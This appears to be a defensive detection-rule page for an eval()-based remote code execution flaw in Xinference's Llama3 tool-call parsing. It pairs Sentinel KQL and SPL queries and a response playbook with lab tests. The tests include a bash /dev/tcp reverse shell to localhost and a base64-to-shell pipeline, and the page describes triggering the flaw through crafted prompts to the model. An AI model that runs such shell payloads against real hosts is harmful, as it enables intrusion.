CVE-2026-61539 Microsoft Sentinel · KQL

Detect Xinference RCE via Unsafe eval() in Llama3 Tool-Call Parsing (CVE-2026-61539) in Microsoft Sentinel

Detects exploitation of CVE-2026-61539, a critical (CVSS 10.0) remote code execution vulnerability in Xorbits Xinference <= 2.5.0. The Llama3 tool-call parser passes attacker-controllable model output through Python's unsafe eval(), allowing arbitrary code execution on the inference host. An attacker who can influence a served Llama3 model's tool-call output (e.g., via crafted prompts to the /v1/chat/completions endpoint with tools enabled) can trigger eval() on malicious payloads. This detection identifies exploitation attempts via HTTP requests to Xinference chat endpoints containing eval-triggering patterns, anomalous child process spawns from the Xinference Python worker, and outbound connections from the inference process. Fixed in v2.7.0.

MITRE ATT&CK

Tactic
Initial Access Execution

KQL Detection Query

Microsoft Sentinel (KQL)
kusto
let suspiciousChildren = dynamic(["sh","bash","dash","zsh","nc","ncat","curl","wget","python","python3","perl","ruby","whoami","id","cat"]);
DeviceProcessEvents
| where InitiatingProcessFileName in~ ("python","python3","xinference","xinference-local")
| where InitiatingProcessCommandLine has_any ("xinference","xoscar","inference.deploy","xinference.core")
| where FileName in~ (suspiciousChildren)
| where ProcessCommandLine has_any ("-c","-e","/dev/tcp","base64","import os","import subprocess","__import__","exec(","eval(")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, InitiatingProcessCommandLine, FileName, ProcessCommandLine, InitiatingProcessId
| order by Timestamp desc
critical severity high confidence

Identifies child processes spawned by the Xinference Python worker that indicate code execution via eval() — reverse shells, downloaders, and reconnaissance commands originating from the model-serving process.

Data Sources

Microsoft Defender for Endpoint

Required Tables

DeviceProcessEvents

False Positives & Tuning

  • Legitimate model management scripts that shell out from the Xinference worker for GPU diagnostics or dependency installation
  • Administrators running debugging commands inside the Xinference process namespace
  • Custom model launchers that legitimately invoke subprocess to load external tooling

Other platforms for CVE-2026-61539


Testing Methodology

Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

  1. Test 1Simulate eval()-based child process from Xinference worker

    Expected signal: A ProcessRollup/auditd process-launch event with a python3 parent spawning /bin/sh executing `id`.

  2. Test 2Simulate reverse-shell payload via eval()

    Expected signal: Process launch of bash with a /dev/tcp reverse-shell command line under a python parent, plus an outbound TCP connection attempt.

  3. Test 3Simulate base64-encoded payload execution

    Expected signal: A bash child of a python parent with a command line containing `base64 -d` piped to a shell.


Response Playbook

Triage

  1. Confirm the affected host is running Xorbits Xinference and determine the installed version (`pip show xinference`); versions <= 2.5.0 are vulnerable to CVE-2026-61539.
  2. Review the chat/completions request logs for the Xinference API around the alert time, focusing on requests to Llama3 models with `tools`/tool-calling enabled and unusual tool-call output containing Python expressions.
  3. Examine the process tree: identify the child process spawned by the Xinference Python worker and capture its full command line, parent PID, and execution timestamp.
  4. Determine whether the served model or endpoint was reachable from untrusted networks and whether authentication was enforced on the Xinference API.

Containment

  1. Isolate the affected inference host from the network to stop any active reverse shell or lateral movement.
  2. Stop the Xinference service and block inbound access to its API port (default 9997) at the host and network firewall until patched.
  3. Rotate any credentials, API keys, or model registry tokens accessible from the inference host, as they may have been exfiltrated.

Evidence Collection

  1. Capture the full process command lines and parent-child lineage for the Xinference worker and all spawned children (auditd/EDR process events).
  2. Preserve Xinference application logs and the HTTP access logs for the chat/completions endpoint showing the triggering tool-call payload.
  3. Collect network connection records (netstat/conntrack, EDR network events) for outbound connections from the inference process.

Escalation Criteria

  • !Escalate to incident response immediately if any child process established an outbound network connection or spawned an interactive shell.
  • !Escalate if evidence shows credential access, data staging, or lateral movement from the inference host.
  • !Escalate if the Xinference API was internet-exposed without authentication, indicating broad exposure.

Investigation Guide

Related Techniques

Forensic Artifacts

  • >Xinference API access logs showing chat/completions requests with crafted tool-call payloads
  • >auditd/EDR process-launch records for children of the Xinference Python worker
  • >Outbound network connection records from the inference process
  • >Xinference worker stdout/stderr logs capturing eval() output or tracebacks

Tuning Guidance

Baseline the legitimate child processes the Xinference worker spawns in your environment (e.g., GPU diagnostics, dependency installers) and add them to an allowlist to reduce noise. Tighten the command-line indicator regex to your observed exploitation patterns if the broad set generates too many benign hits. Prioritize hosts where the Xinference API is network-exposed or lacks authentication, and downgrade severity for isolated dev instances with no untrusted reachability.


Hunting Queries

Surfaces any shell or tooling process spawned under an Xinference Python worker across the fleet to hunt for eval()-based execution beyond the initial alert.

Hunting — KQL
kql
DeviceProcessEvents | where InitiatingProcessCommandLine has "xinference" | where FileName in~ ("sh","bash","nc","curl","wget","python","python3") | summarize count() by DeviceName, FileName, ProcessCommandLine | order by count_ desc
Hunting — SPL
spl
index=linux ("xinference") | search parent_process=*python* process_name IN ("sh","bash","nc","curl","wget") | stats count by host process_name process

Atomic Red Team Tests

Test 1 Simulate eval()-based child process from Xinference worker
linux

Emulates the vulnerable Llama3 tool-call parser passing attacker output to eval() by having a python parent (named to mimic the worker) spawn a benign reconnaissance command.

Command

bash
python3 -c "import subprocess; subprocess.run(['/bin/sh','-c','id > /tmp/cve_2026_61539_poc.txt'])"

Cleanup

bash
rm -f /tmp/cve_2026_61539_poc.txt

Expected Telemetry

A ProcessRollup/auditd process-launch event with a python3 parent spawning /bin/sh executing `id`.

Expected Detection

The KQL/EQL/CQL rules fire on the sh child of a python parent with an `-c` command line containing recon activity.

Test 2 Simulate reverse-shell payload via eval()
linux

Emulates code execution establishing an outbound shell, as an attacker would via the eval() sink. Uses a local listener to remain lab-safe.

Command

bash
python3 -c "import subprocess; subprocess.run(['bash','-c','bash -i >& /dev/tcp/127.0.0.1/4444 0>&1'])" &

Cleanup

bash
pkill -f '/dev/tcp/127.0.0.1/4444' 2>/dev/null; true

Expected Telemetry

Process launch of bash with a /dev/tcp reverse-shell command line under a python parent, plus an outbound TCP connection attempt.

Expected Detection

Rules match on the `/dev/tcp` indicator in a shell child of a python (xinference) parent.

Test 3 Simulate base64-encoded payload execution
linux

Emulates an eval()-delivered obfuscated payload decoding and executing via a shell, mimicking attacker evasion.

Command

bash
python3 -c "import subprocess; subprocess.run(['bash','-c','echo aWQK | base64 -d | sh'])"

Cleanup

bash
true

Expected Telemetry

A bash child of a python parent with a command line containing `base64 -d` piped to a shell.

Expected Detection

Rules fire on the `base64` indicator in a shell process descending from the Xinference Python worker.

Related Detections